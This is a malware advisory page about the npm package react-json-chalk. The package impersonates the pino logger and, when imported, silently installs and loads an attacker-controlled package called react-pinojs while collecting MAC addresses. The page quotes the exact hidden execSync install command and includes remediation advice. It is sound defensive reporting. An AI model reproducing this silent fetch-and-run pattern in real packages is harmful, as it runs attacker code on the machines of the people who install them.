Malicious code in react-json-chalk (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1a2b0f9e236c71a3da2c36dd19a90a0a3e096503e79754d25ce2a13eb5d72d77) The package is published as `react-json-chalk` but its `main` entry (`pino.js`) impersonates the pino logger (homepage `https://getpino.io`, bundled pino source tree, misappropriated description). On `require('react-json-chalk')`, `pino.js` immediately loads `lib/writer.js`, which at module top level tries `require('react-pinojs')` and, if absent, executes `child_process.execSync("npm install react-pinojs --no-warnings --no-save --no-progress --loglevel silent")` and then `require('../../react-pinojs/pino.js')`. The flags suppress install output and avoid persisting the dependency in package.json, so consumers get no visible signal that a second package was fetched. The fetched dependency is unpinned, fully controlled by whoever publishes `react-pinojs`, and its code runs as part of the require() of this package — arbitrary attacker code on the installer's machine on every import. The same `lib/writer.js` defines `getMacAddress()` which enumerates non-internal IPv4 interface MAC addresses, consistent with host fingerprinting handed off to the second stage. The package name/contents mismatch (logger source tree under an unrelated name) is also a namespace-abuse / pino-impersonation pattern. ## Source: ghsa-malware (252715cc7923480c7866ec9ba22f17e136bbc2fc86342ef3175998919d365e9b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
AI Analysis
Technical Summary
The react-json-chalk package published on npm masquerades as the pino logger by including the pino source tree and misappropriating its description. When imported, it executes code that attempts to require a secondary package react-pinojs; if this package is not present, it silently installs it via npm with suppressed output and no persistence in package.json. This secondary package is attacker-controlled and runs arbitrary code on the host machine. Additionally, the package enumerates MAC addresses of non-internal IPv4 interfaces, likely for fingerprinting purposes. This behavior constitutes namespace abuse, supply chain compromise, and remote code execution risk. The affected versions are 13.4.4 through 13.4.6 inclusive.
Potential Impact
Systems with react-json-chalk versions 13.4.4 to 13.4.6 installed or running are fully compromised. The malicious package executes arbitrary attacker-controlled code on import, potentially allowing complete system takeover. Host fingerprinting is performed by collecting MAC addresses. Secrets and keys stored on compromised machines should be considered exposed and require immediate rotation. Removing the package does not guarantee removal of all malicious artifacts due to the extent of compromise.
Mitigation Recommendations
No official patch or fix is currently documented. Immediate removal of react-json-chalk versions 13.4.4 to 13.4.6 is recommended. All secrets and credentials on affected systems should be rotated from a clean, uncompromised environment. Due to the severity and nature of the compromise, affected systems should be treated as fully compromised and rebuilt if possible. Monitor for any presence of the react-pinojs package and other unexpected dependencies. Check vendor advisories or npm security advisories for updates or remediation guidance.
Malicious code in react-json-chalk (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (1a2b0f9e236c71a3da2c36dd19a90a0a3e096503e79754d25ce2a13eb5d72d77) The package is published as `react-json-chalk` but its `main` entry (`pino.js`) impersonates the pino logger (homepage `https://getpino.io`, bundled pino source tree, misappropriated description). On `require('react-json-chalk')`, `pino.js` immediately loads `lib/writer.js`, which at module top level tries `require('react-pinojs')` and, if absent, executes `child_process.execSync("npm install react-pinojs --no-warnings --no-save --no-progress --loglevel silent")` and then `require('../../react-pinojs/pino.js')`. The flags suppress install output and avoid persisting the dependency in package.json, so consumers get no visible signal that a second package was fetched. The fetched dependency is unpinned, fully controlled by whoever publishes `react-pinojs`, and its code runs as part of the require() of this package — arbitrary attacker code on the installer's machine on every import. The same `lib/writer.js` defines `getMacAddress()` which enumerates non-internal IPv4 interface MAC addresses, consistent with host fingerprinting handed off to the second stage. The package name/contents mismatch (logger source tree under an unrelated name) is also a namespace-abuse / pino-impersonation pattern. ## Source: ghsa-malware (252715cc7923480c7866ec9ba22f17e136bbc2fc86342ef3175998919d365e9b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The react-json-chalk package published on npm masquerades as the pino logger by including the pino source tree and misappropriating its description. When imported, it executes code that attempts to require a secondary package react-pinojs; if this package is not present, it silently installs it via npm with suppressed output and no persistence in package.json. This secondary package is attacker-controlled and runs arbitrary code on the host machine. Additionally, the package enumerates MAC addresses of non-internal IPv4 interfaces, likely for fingerprinting purposes. This behavior constitutes namespace abuse, supply chain compromise, and remote code execution risk. The affected versions are 13.4.4 through 13.4.6 inclusive.
Potential Impact
Systems with react-json-chalk versions 13.4.4 to 13.4.6 installed or running are fully compromised. The malicious package executes arbitrary attacker-controlled code on import, potentially allowing complete system takeover. Host fingerprinting is performed by collecting MAC addresses. Secrets and keys stored on compromised machines should be considered exposed and require immediate rotation. Removing the package does not guarantee removal of all malicious artifacts due to the extent of compromise.
Mitigation Recommendations
No official patch or fix is currently documented. Immediate removal of react-json-chalk versions 13.4.4 to 13.4.6 is recommended. All secrets and credentials on affected systems should be rotated from a clean, uncompromised environment. Due to the severity and nature of the compromise, affected systems should be treated as fully compromised and rebuilt if possible. Monitor for any presence of the react-pinojs package and other unexpected dependencies. Check vendor advisories or npm security advisories for updates or remediation guidance.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-4792
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-x796-gxxr-pvcr"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a42ed2627e9c79719934580
Added to database: 06/29/2026, 22:09:42 UTC
Last enriched: 07/11/2026, 12:35:53 UTC
Last updated: 07/18/2026, 17:27:21 UTC
Views: 14
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.